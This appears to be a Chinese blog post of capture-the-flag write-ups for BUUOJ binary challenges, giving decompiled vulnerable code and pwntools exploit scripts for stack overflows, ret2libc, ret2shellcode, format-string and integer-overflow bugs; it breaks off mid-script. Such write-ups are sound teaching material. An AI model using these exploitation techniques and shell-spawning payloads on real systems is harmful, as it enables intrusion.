pwn学习-BUUOJ(stack && fmtstr)

发布于 2020-11-29  4684 次阅读


0x00 test_your_nc

下载文件查看,直接就给了shell,没什么好说的,直接连上就行了。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  system("/bin/sh");
  return 0;
}

0X01 rip

下载文件检查保护机制,啥都没开的64位文件

拖入ida,输入s没有限制我们的输入,又有直接获取shell的函数,栈溢出覆盖返回地址就行了。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+1h] [rbp-Fh]

  puts("please input");
  gets(&s, argv);
  puts(&s);
  puts("ok,bye!!!");
  return 0;
}

int fun()
{
  return system("/bin/sh");
}

在写exp的时候遇到了一个问题,覆盖了返回地址后,执行system("/bin/sh");一个就会给我们返回shell,但是并没有,查阅资料后改了一下payload,将ret返回地址+1.

参考资料http://blog.eonew.cn/archives/958

from pwn import *

io = remote("node3.buuoj.cn",29433)

system = 0x401186

payload = 'a' * (0xf + 8) + p64(system + 1)
io.sendline(payload)
io.interactive()

0x02 warmup_csaw_2016

同样没开启任何保护。

ida反编译一下,输入参数v5,没有输入限制,还给我们输出了后门函数sub_40060D()的地址,真够贴心的。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s; // [rsp+0h] [rbp-80h]
  char v5; // [rsp+40h] [rbp-40h]

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(&s, "%p\n", sub_40060D);
  write(1, &s, 9uLL);
  write(1, ">", 1uLL);
  return gets(&v5, ">");
}

int sub_40060D()
{
  return system("cat flag.txt");
}

exp:

from pwn import *

io = remote("node3.buuoj.cn",28979)

io.recvuntil("WOW:")
system = int(io.recv(8),16)

payload = 'a' * (0x40 + 8) + p64(system)
io.sendline(payload)
io.interactive()

0x03 pwn1_sctf_2016

开启了NX保护。

拖入ida反编译,main函数调用vuln()函数,好家伙,c艹,触碰到我知识盲区了。

简单查了一下,函数让我们输入参数s,限制长度32,然后会将我们输入的I转化为you,而payload的长度得为(0x3c + 0x8 = 0x44),因此我们需要借助I转化为you来帮助我们填充不够的长度。

```c++
int vuln()
{
const char *v0; // eax
char s; // [esp+1Ch] [ebp-3Ch]
char v3; // [esp+3Ch] [ebp-1Ch]
char v4; // [esp+40h] [ebp-18h]
char v5; // [esp+47h] [ebp-11h]
char v6; // [esp+48h] [ebp-10h]
char v7; // [esp+4Fh] [ebp-9h]

printf("Tell me something about yourself: ");
fgets(&s, 32, edata);
std::string::operator=(&input, &s);
std::allocator::allocator(&v5);
std::string::string(&v4, "you", &v5);
std::allocator::allocator(&v7);
std::string::string(&v6, "I", &v7);
replace((std::string *)&v3);
std::string::operator=(&input, &v3, &v6, &v4);
std::string::~string((std::string *)&v3);
std::string::~string((std::string *)&v6);
std::allocator::~allocator(&v7);
std::string::~string((std::string *)&v4);
std::allocator::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(&s, v0);
return printf("So, %s\n", &s);
}

int get_flag()
{
return system("cat flag.txt");
}

exp:
```python
from pwn import *

io = remote("node3.buuoj.cn",29318)

system = 0x08048F0D

payload = 'I' * 0x15 + 'a' * 1 + p64(system)
io.sendline(payload)
io.interactive()

0x04 ciscn_2019_n_1

下载文件,照例只开了NX保护(就不截图了)。

拖入ida反编译一下,v2初始化为0.0,让我们输入v1,没有限制输入,然后判断v2的值,等于11.28125输出flag。

int func()
{
  int result; // eax
  char v1; // [rsp+0h] [rbp-30h]
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(&v1);
  if ( v2 == 11.28125 )
    result = system("cat /flag");
  else
    result = puts("Its value should be 11.28125");
  return result;
}

看了一下v1和v2的地址,思路应该就是利用v1的溢出覆盖v2的值使其等于11.28125,11.28125在十六进制中表示为0x41348000。


exp:

from pwn import *

io = remote("node3.buuoj.cn",29194)

payload = 'I' * (0x30 - 0x4) + p64(0x41348000)
io.sendline(payload)
io.interactive()

0x05 jarvisoj_level0

这题之前做过,点击跳转

0x06 ciscn_2019_c_1

题目只开启了NX保护。

反编译一下,main函数的逻辑很简单,输入1进入encrypt()函数可以加密字符串,输入2没啥用,输入3退出程序,显然重点应该是在encrypt()函数中。

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h]
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

这里有一个大小为48的数组,但是在对s的输入使用的gets函数没有对输入进行限制,会造成栈溢出。输入完成后会对输入的字符串进行逐字符加密。

这里使用了strlen函数判断字符串长度来进行加密长度的判断,然后这里为了不让我们的payload被加密,我们可以在首字符处设置一个\0,那么strlen(s)就会返回0,也就不会进行加密。

strlen所作的是一个计数器的工作,它从内存的某个位置(可以是字符串开头,中间某个位置,甚至是某个不确定的内存区域)开始扫描,直到碰到第一个字符串结束符'\0'为止,然后返回计数器值(长度不包含'\0')。

然后程序里没有找到system函数和/bin/sh字符串,可以使用LibcSearcher或者DynELF可以找到libc,然后获取shell。

然后在第二个payload的时候,要加上一个ret指令,说是由于Ubuntu18运行机制与前面版本的不同,在调用system的时候需要进行栈对齐。

在一些64位的glibc的payload调用system函数失败问题

exp:(debug模式真是个好东西)

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io = remote('node3.buuoj.cn',25114)
# io = process('../ciscn_2019_c_1')
elf = ELF('../ciscn_2019_c_1')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
rdi = 0x400c83
ret = 0x4006b9

io.sendlineafter('choice!\n','1')
payload = '\0' + 'a' * (0x50 + 7) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendlineafter('Input your Plaintext to be encrypted\n', payload)

io.recvline()
io.recvline()
puts_addr = u64(io.recvuntil('\n')[:-1].ljust(8,'\0'))
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

libc_start = puts_addr - libc.dump('puts')
system = libc_start + libc.dump('system')
bin = libc_start + libc.dump('str_bin_sh')

io.sendlineafter('choice!\n','1')
payload = '\0' + 'a' * (0x50 + 7) + p64(ret) + p64(rdi) + p64(bin) + p64(system) + p64(main)
io.sendlineafter('Input your Plaintext to be encrypted\n', payload)

io.interactive()

0x07 [OGeek2019]babyrop

开启了RELRO和NX保护。

反编译一下:

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h]
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();                                // 初始化
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[7]; // [esp+2Ch] [ebp-2Ch]
  unsigned __int8 v5; // [esp+33h] [ebp-25h]
  ssize_t v6; // [esp+4Ch] [ebp-Ch]

  memset(&s, 0, 0x20u);
  memset(buf, 0, 0x20u);
  sprintf(&s, "%ld", a1);
  v6 = read(0, buf, 0x20u);
  buf[v6 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, &s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return v5;
}

ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf; // [esp+11h] [ebp-E7h]

  if ( a1 == 0x7F )
    result = read(0, &buf, 0xC8u);
  else
    result = read(0, &buf, a1);
  return result;
}

main函数会从/dev/urandom中读入4位随机数到buf中,然后将buf作为sub_804871F()函数的参数。

然后sub_804871F()函数将参数a1,也就是main的buf赋值给参数s,通过read函数给这里的buf读入20个字符。然后这里通过strlen获取buf的长度,然后根据结果来对buf和s进行比较,不同则结束运行,于是我们得想办法绕过函数strncmp。

read是读到'\n'停止,而strlen是到'/0'就停止。

于是我们可以让buf的首字符为'\x00',就能绕过字符串的比较。

然后函数的返回值为v5,在后面会作为函数sub_80487D0()的参数,作为read函数读入的字符数,于是我们可以让v5尽量大。

然后在第一个函数中,buf与返回值v5相差7个字节,也就是第八个字节会覆盖掉v5,于是我们可以让第八个字节为0xFF,最大值。

然后题目也给了libc文件,泄露出libc的真实地址就可以调用system函数了。

exp:

from pwn import *

io = remote('node3.buuoj.cn', 25541)
# io=process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
system_libc = libc.symbols['system']
binsh_libc = libc.search('/bin/sh').next()
write_libc = libc.symbols['write']
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x8048825

payload = '\x00' + '\xff' * 10

io.sendline(payload)

io.recvuntil("Correct\n")

payload = 'a' * (0xe7 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload)

write_addr = u32(io.recv(4))

libc_addr = write_addr - write_libc
system = libc_addr + system_libc
bin_sh_addr = libc_addr + binsh_libc

payload = '\x00' + '\xff' * 7
io.sendline(payload)
io.recvuntil("Correct\n")

payload = 'a' * (0xe7 + 4) + p32(system) + p32(0) + p32(bin_sh_addr)
io.sendline(payload)

io.interactive()

0x08 [第五空间2019 决赛]PWN5

这题开启了RELRO、canary和NX,挺唬人的。。

反编译一下:

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int fd; // ST14_4
  int result; // eax
  int v4; // ecx
  unsigned int v5; // et1
  char nptr; // [esp+4h] [ebp-80h]
  char buf; // [esp+14h] [ebp-70h]
  unsigned int v8; // [esp+78h] [ebp-Ch]
  int *v9; // [esp+7Ch] [ebp-8h]

  v9 = &a1;
  v8 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &unk_804C044, 4u);
  printf("your name:");
  read(0, &buf, 0x63u);
  printf("Hello,");
  printf(&buf);
  printf("your passwd:");
  read(0, &nptr, 0xFu);
  if ( atoi(&nptr) == unk_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  v5 = __readgsdword(0x14u);
  v4 = v5 ^ v8;
  if ( v5 != v8 )
    sub_80493D0(v4);
  return result;
}

给unk_804C044参数读入四位随机数,然后输入buf,然后printf(&buf);输出buf,显然存在格式化字符串漏洞。然后读入nptr,对nptr和unk_804C044进行对比,如果相等拿到shell。我们只需要通过前面的格式化字符串漏洞就可以修改unk_804C044的值,然后输入相同的值即可。

找到unk_804C044的地址:

找到格式化字符串漏洞的偏移量:

利用fmtstr_payload函数就可以很方便的生成payload。

fmtstr_payload(offset,{address:value})

exp:

from pwn import *

io = remote('node3.buuoj.cn', 27410)
# io=process('./pwn')

payload = fmtstr_payload(10,{0x0804C044:1111})
io.sendline(payload)
io.sendline('1111')
io.interactive()

0x09 [BJDCTF 2nd]r2t3

只开启了RELRO和NX保护。

反编译一下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+0h] [ebp-408h]

  my_init();
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("[+]Ret2text3.0?");
  puts("[+]Please input your name:");
  read(0, &buf, 0x400u);
  name_check(&buf);
  puts("Welcome ,u win!");
  return 0;
}

char *__cdecl name_check(char *s)
{
  char dest; // [esp+7h] [ebp-11h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Oops,u name is too long!");
    exit(-1);
  }
  printf("Hello,My dear %s", s);
  return strcpy(&dest, s);
}

main函数中给参数buf读入400个字符,没有造成溢出,然后将其传给函数name_check,判断该参数的长度,必须在4到8之间,否则程序退出。

然后将main函数传来的参数buf复制到dest中,而dest只有0x11的长度,显然如果能绕过strlen的检测就可以造成溢出,而程序中也有现成的后门函数。

我开始的想法是通过\x00绕过strlen函数,使得长度合理化,但是我忘记了strcpy函数也可以被\x00截断,显然不可以。

strcpy把含有'\0'结束符的字符串复制到另一个地址空间

而这里v3的数据类型为int8,大小范围为0-255,256时就等于0了,显然可以控制payload的长度使得v3高位溢出舍去。

exp:

from pwn import *

io = remote('node3.buuoj.cn', 27797)
# io = process('./r2t3')

system = 0x0804858B

payload = 'a' * 0x15 + p32(system)
payload = payload.ljust(262, 'a')
io.sendline(payload)

io.interactive()

0x0a get_started_3dsctf_2016

只开启了RELRO和NX保护。

反编译一下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+4h] [ebp-38h]

  printf("Qual a palavrinha magica? ", v4);
  gets(&v4);
  return 0;
}

存在明显的栈溢出。而且还有明显的后门函数get_flag。

但是这里是打开flag.txt文件,然后输出flag,因此这里的返回地址不能随意填写,否则会造成内存崩溃,远程程序异常结束它是不会给回显的也就拿不到flag了。于是我们将其填写为exit()的地址。

from pwn import *

io = remote('node3.buuoj.cn', 25878)
# io = process('./get_started')

system = 0x080489A0
ret = 0x08048196
fake = 0x0804E6A0

payload = 'a' * 0x38 + p32(system) + p32(fake) + p32(0x308CD64F) + p32(0x195719D1)

io.sendline(payload)
print(io.recv())
# io.interactive()

0x0b ciscn_2019_en_2

,,和前面的ciscn_2019_c_1一样。

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io = remote('node3.buuoj.cn',25114)
# io = process('./ciscn_2019_en_2')
elf = ELF('./ciscn_2019_en_2')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
rdi = 0x400c83
ret = 0x4006b9

io.sendlineafter('choice!\n','1')
payload = '\0' + 'a' * (0x50 + 7) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendlineafter('Input your Plaintext to be encrypted\n', payload)

io.recvline()
io.recvline()
puts_addr = u64(io.recvuntil('\n')[:-1].ljust(8,'\0'))
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

libc_start = puts_addr - libc.dump('puts')
system = libc_start + libc.dump('system')
bin = libc_start + libc.dump('str_bin_sh')

io.sendlineafter('choice!\n','1')
payload = '\0' + 'a' * (0x50 + 7) + p64(ret) + p64(rdi) + p64(bin) + p64(system) + p64(main)
io.sendlineafter('Input your Plaintext to be encrypted\n', payload)

io.interactive()

0x0c ciscn_2019_n_8

保护全开启了。

输出var,满足*(_QWORD *)&var[13] == 17LL获取shell。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf((int)"%s", (int)var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

这里QWORD是八个字节,也就是说要var[13]起的八个字节为17,即可。

qword全称Quad Word。2个字节就是1个Word(1个字,16位),q就是英文quad-这个词根(意思是4)的首字母,所以它自然是word(2字节,0~2^16-1)的四倍,8字节,0~2^64-1。

from pwn import *

context.log_level = 'debug'
io = remote('node3.buuoj.cn',25564)
# io = process('./ciscn_2019_n_8')

payload = "s" * 13 * 4 + p64(0x11)
io.sendline(payload)

io.interactive()

0x0d jarvisoj_level2

好几次了,,,

from pwn import *

io = remote('node3.buuoj.cn', 25830)
sys_addr = 0x0804845C
sh_addr = 0x0804A024

payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(sh_addr)
io.sendlineafter("Input:\n", payload)
io.interactive()

0x0e not_the_same_3dsctf_2016

开启了RELRO和NX保护。

反编译一下:

gets读取存在栈溢出。可以返回到函数get_secret()中。

读取了flag.txt,将flag存到参数fl4g中。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+Fh] [ebp-2Dh]

  printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
  gets(&v4);
  return 0;
}

int get_secret()
{
  int v0; // esi

  v0 = fopen("flag.txt", &unk_80CF91B);
  fgets(&fl4g, 45, v0);
  return fclose(v0);
}

双击fl4g到他的地址,发现它存在bss段,可以利用write函数将其输出。

from pwn import *

io = remote('node3.buuoj.cn', 29830)
elf = ELF('./not_the_same_3dsctf_2016')

sys_addr = 0x080489A0
flag = 0x080ECA2D
write_plt = elf.symbols['write']

payload = 'a' * 0x2d + p32(sys_addr) + p32(write_plt) + p32(0) + p32(1) + p32(flag) + p32(45)
io.sendline(payload)
print(io.recvline())

0x0f [BJDCTF 2nd]one_gadget

保护都开启了。

首先init()函数给了我们一个好东西,printf函数的地址,有了这个地址,我们就可以找到libc库的加载地址,就可以进一步方便我们下一步的使用了。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void (__fastcall *v4)(_QWORD, _QWORD); // [rsp+8h] [rbp-18h]
  void (__fastcall *v5)(_QWORD, _QWORD); // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init();
  printf("Give me your one gadget:", argv);
  __isoc99_scanf((__int64)"%ld", (__int64)&v4);
  v5 = v4;
  v4("%ld", &v4);
  return 0;
}

int init()
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  return printf("here is the gift for u:%p\n", &printf);
}

v4是一个函数指针,v4("%ld", &v4);会对v4中的地址进行函数调用,于是我们可以将one_gadget的真是地址传入,就可以拿到shell。这里格式化字符串为ld,所以我们传过去的地址应该是十进制的。

one_gadget找gadget的地址。最后一个。

exp:

from pwn import *

io = remote('node3.buuoj.cn', 29700)
libc = ELF('./libc-2.29.so')

io.recvuntil('here is the gift for u:0x')
printf_addr = int(io.recv(12),16)
print(printf_addr)
one_gadget = 0x106ef8
libc_addr = printf_addr - libc.symbols['printf']

one_gadget = one_gadget + libc_addr

payload = str(one_gadget)
io.sendline(payload)

io.interactive()

0x10 bjdctf_2020_babystack

很基础的栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-10h]
  size_t nbytes; // [rsp+Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf("%d", &nbytes);
  puts("[+]What's u name?");
  read(0, &buf, (unsigned int)nbytes);
  return 0;
}

signed __int64 backdoor()
{
  system("/bin/sh");
  return 1LL;
}

溢出返回到后门函数即可。

from pwn import *

io = remote('node3.buuoj.cn', 26928)
# io = process('./babystack')

system = 0x4006e6

io.sendlineafter('length of your name:',str(200))


payload = 'a' * (0x10 + 8) + p64(system)
io.sendlineafter('What\'s u name?',payload)

io.interactive()

0x11 [HarekazeCTF2019]baby_rop

也是简单的ret2text,怎么越来越简单,,,

flag的位置可以通过find -name flag找到。

from pwn import *

io = remote('node3.buuoj.cn', 25834)
# io = process('./babystack')

system = 0x400490
bin_sh = 0x601048
rdi = 0x400683

payload = 'a' * (0x10 + 8) + p64(rdi) + p64(bin_sh) + p64(system)
io.sendlineafter('?',payload)

io.interactive()

0x12 jarvisoj_level2_x64

和上一题不能说毫不相干,起码是一模一样了,改个地址就行了。

from pwn import *
context(log_level="debug")

io = remote('node3.buuoj.cn', 25580)
# io = process('./babystack')

system = 0x4004C0
bin_sh = 0x600a90
rdi = 0x4006b3

payload = 'a' * (0x80 + 8) + p64(rdi) + p64(bin_sh) + p64(system)
io.sendlineafter('Input:',payload)

io.interactive()

0x13 ciscn_2019_n_5

只开启了RELRO,并且有可读,可写,可执行段。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char text[30]; // [rsp+0h] [rbp-20h]

  setvbuf(stdout, 0LL, 2, 0LL);
  puts("tell me your name");
  read(0, name, 0x64uLL);
  puts("wow~ nice name!");
  puts("What do you want to say to me?");
  gets((__int64)text, (__int64)name);
  return 0;
}

name在bss段,0x601080,gdb调试查看内存地址权限,该地址可写可执行。

Ret2Shellcode,第一次往bss段写入shellcode,第二次溢出覆盖返回地址到写入shellcode的bss段的地址即可。

exp:

from pwn import *

context(log_level='debug', arch='amd64', os='linux')

io = remote('node3.buuoj.cn', 29457)
# io = process('./babystack')

shellcode = asm(shellcraft.sh())
bss = 0x601080

io.sendlineafter('your name', shellcode)

payload = 'a' * (0x20 + 8) + p64(bss)
io.sendlineafter('say to me?', payload)

io.interactive()

0x14 ciscn_2019_ne_5

这题用ida7.0 F5的话,会出现下面这种情况(ida7.5大法好)

找到这个地址对应的函数,双击进去F5,然后main函数就可以反汇编了。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+0h] [ebp-100h] BYREF
  char src[4]; // [esp+4h] [ebp-FCh] BYREF
  char v6[124]; // [esp+8h] [ebp-F8h] BYREF
  char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
  char v8[96]; // [esp+88h] [ebp-78h] BYREF
  int *v9; // [esp+F4h] [ebp-Ch]

  v9 = &argc;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  fflush(stdout);
  *(_DWORD *)s1 = 48;
  memset(v8, 0, sizeof(v8));
  *(_DWORD *)src = 48;
  memset(v6, 0, sizeof(v6));
  puts("Welcome to use LFS.");
  printf("Please input admin password:");
  __isoc99_scanf("%100s", s1);
  if ( strcmp(s1, "administrator") )
  {
    puts("Password Error!");
    exit(0);
  }
  puts("Welcome!");
  puts("Input your operation:");
  puts("1.Add a log.");
  puts("2.Display all logs.");
  puts("3.Print all logs.");
  printf("0.Exit\n:");
  __isoc99_scanf("%d", &v4);
  switch ( v4 )
  {
    case 0:
      exit(0);
      return result;
    case 1:
      AddLog(src);
      result = sub_804892B(argc, argv, envp);
      break;
    case 2:
      Display(src);
      result = sub_804892B(argc, argv, envp);
      break;
    case 3:
      Print();
      result = sub_804892B(argc, argv, envp);
      break;
    case 4:
      GetFlag(src);
      result = sub_804892B(argc, argv, envp);
      break;
    default:
      result = sub_804892B(argc, argv, envp);
      break;
  }
  return result;
}

int __cdecl AddLog(int a1)
{
  printf("Please input new log info:");
  return __isoc99_scanf("%128s", a1);
}

int __cdecl GetFlag(char *src)
{
  char dest[4]; // [esp+0h] [ebp-48h] BYREF
  char v3[60]; // [esp+4h] [ebp-44h] BYREF

  *(_DWORD *)dest = 48;
  memset(v3, 0, sizeof(v3));
  strcpy(dest, src);
  return printf("The flag is your log:%s\n", dest);
}

输入s1,得等于administrator,否则退出程序。然后会有几个选项,然后进入不同函数。

AddLog()中,会给main函数中的src输入128个字符,而在GetFlag()中,会将src复制到dest中,而dest在这地址为[ebp-48h],显然可以溢出。

找到了system函数,没有/bin/sh字符串,sh字符串也可以。

exp:

from pwn import *

# context(log_level='debug', arch='amd64', os='linux')

io = remote('node3.buuoj.cn', 25016)
# io = process('./ciscn_2019_ne_5')

system = 0x080484D0
sh = 0x080482ea

io.sendlineafter('admin password:', 'administrator')
io.sendlineafter('0.Exit\n:', str(1))

payload = 'a' * (0x48 + 4) + p32(system) + 'aaaa' + p32(sh)
io.sendlineafter('log info:', payload)
io.sendlineafter('0.Exit\n:', str(4))

io.interactive()

0x15 铁人三项(第五赛区)_2018_rop

开启了RELRO和NX保护。

vulnerable_function() 函数中存在明显的栈溢出。

ssize_t vulnerable_function()
{
  char buf; // [esp+10h] [ebp-88h]

  return read(0, &buf, 0x100u);
}

常规的ret2libc,将libc泄露出来,即可调用 system('/bin/sh');

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

io = remote('node3.buuoj.cn', 26962)
# io = process('./2018_rop')
elf = ELF('./2018_rop')

write_plt = elf.plt['write']
write_got = elf.got['write']

main = 0x80484c6


payload = 'a' * (0x88 + 4) + p32(write_plt) + p32(main) + p32(0) + p32(write_got) + p32(4)
io.sendline(payload)

write_addr = io.recv(4)
print(hex(u32(write_addr)))

libc = LibcSearcher('write',u32(write_addr))

libc_addr = u32(write_addr) - libc.dump('write')
system = libc_addr + libc.dump('system')
bin_sh = libc_addr + libc.dump("str_bin_sh")

payload = 'a' * (0x88 + 4) + p32(system) + p32(main) + p32(bin_sh)
io.sendline(payload)

io.interactive()

0x16 bjdctf_2020_babyrop

开启了RELRO和NX保护。

也是个简单的栈溢出。

ssize_t vuln()
{
  char buf; // [rsp+0h] [rbp-20h]

  puts("Pull up your sword and tell me u story!");
  return read(0, &buf, 0x64uLL);
}

和上一题类似,泄露出libc既可以,区别就在于64位与32位传参方式不同。

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

io = remote('node3.buuoj.cn', 29379)
# io = process('./bjdctf_2020_babyrop')
elf = ELF('./bjdctf_2020_babyrop')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

main = 0x4006ad
rdi = 0x400733


payload = 'a' * (0x20 + 8) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendlineafter('me u story!\n', payload)

puts_addr = u64(io.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)

libc_addr = puts_addr - libc.dump('puts')
system = libc_addr + libc.dump('system')
bin_sh = libc_addr + libc.dump("str_bin_sh")

payload = 'a' * (0x20 + 8) + p64(rdi) + p64(bin_sh) + p64(system) + p64(main)
io.sendlineafter('me u story!', payload)

io.interactive()

0x17 others_shellcode

main函数调用getshell()函数,直接拿到shell,nc连上去就行了,,

signed int getShell()
{
  signed int result; // eax

  result = 11;
  __asm { int     80h; LINUX - sys_execve }
  return result;
}

0x18 pwn2_sctf_2016

开启了RELRO和NX保护。

可以发现在 vuln() 中,我们输入的长度不能大于32,无法造成溢出。

在函数 get_n() 中,第二个参数为 unsigned int ,无符号int型。在第二次调用函数 get_n() 时,第二个参数传入为v2,而v2显然是 signed int ,即有符号int型。

如果我们第一次输入-1,即v2的值为-1,那么v2的二进制表示为1111 1111,1111 1111,1111 1111,1111 1111,而在第二次调用函数 get_n() 时,有符号int型v2转化为无符号int时,就变为了4294967295,就使得我们的输入没了限制,就可以造成溢出,ret2libc。

int vuln()
{
  char nptr; // [esp+1Ch] [ebp-2Ch]
  int v2; // [esp+3Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  get_n((int)&nptr, 4u);
  v2 = atoi(&nptr);
  if ( v2 > 32 )
    return printf("No! That size (%d) is too large!\n", v2);
  printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
  get_n((int)&nptr, v2);
  return printf("You said: %s\n", &nptr);
}

int __cdecl get_n(int a1, unsigned int a2)
{
  int v2; // eax
  int result; // eax
  char v4; // [esp+Bh] [ebp-Dh]
  unsigned int v5; // [esp+Ch] [ebp-Ch]

  v5 = 0;
  while ( 1 )
  {
    v4 = getchar();
    if ( !v4 || v4 == '\n' || v5 >= a2 )
      break;
    v2 = v5++;
    *(_BYTE *)(v2 + a1) = v4;
  }
  result = a1 + v5;
  *(_BYTE *)(a1 + v5) = 0;
  return result;
}

exp:

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

io = remote('node3.buuoj.cn', 25627)
# io = process('./pwn2_sctf_2016')
elf = ELF('./pwn2_sctf_2016')

printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main = 0x80485b8
format = 0x080486F8

io.sendlineafter('to read? ', '-1')
payload = 'a' * (0x2c + 4) + p32(printf_plt) + p32(main) + p32(format) + p32(printf_got)
io.sendlineafter('bytes of data!\n',payload)
io.recvuntil('You said: ')
io.recvuntil('You said: ')
printf_addr = u32(io.recv(4))

libc = LibcSearcher('printf', printf_addr)

libc_addr = printf_addr - libc.dump('printf')
system = libc_addr + libc.dump('system')
bin_sh = libc_addr + libc.dump("str_bin_sh")

io.recvuntil('read? ')
io.sendline('-1')
io.recvuntil('data!\n')
payload = 'a' * (0x2c + 4) + p32(system) + p32(main) + p32(bin_sh)
io.sendline(payload)

io.interactive()

0x19 [HarekazeCTF2019]baby_rop2

同样也是栈溢出,ret2libc。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[28]; // [rsp+0h] [rbp-20h]
  int v6; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  printf("What's your name? ", 0LL);
  v3 = read(0, buf, 0x100uLL);
  v6 = v3;
  buf[v3 - 1] = 0;
  printf("Welcome to the Pwn World again, %s!\n", buf);
  return 0;
}

exp:

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

io = remote('node3.buuoj.cn', 26837)
# io = process('./babyrop2')
elf = ELF('./babyrop2')

printf_plt = elf.plt['printf']
read_got = elf.got['read']
format = 0x400790

main = 0x400636
rdi = 0x400733
rsi_r15_ret = 0x0400731

payload = 'a' * (0x20 + 8) + p64(rdi) + p64(format) + p64(rsi_r15_ret) + p64(read_got) + p64(1)
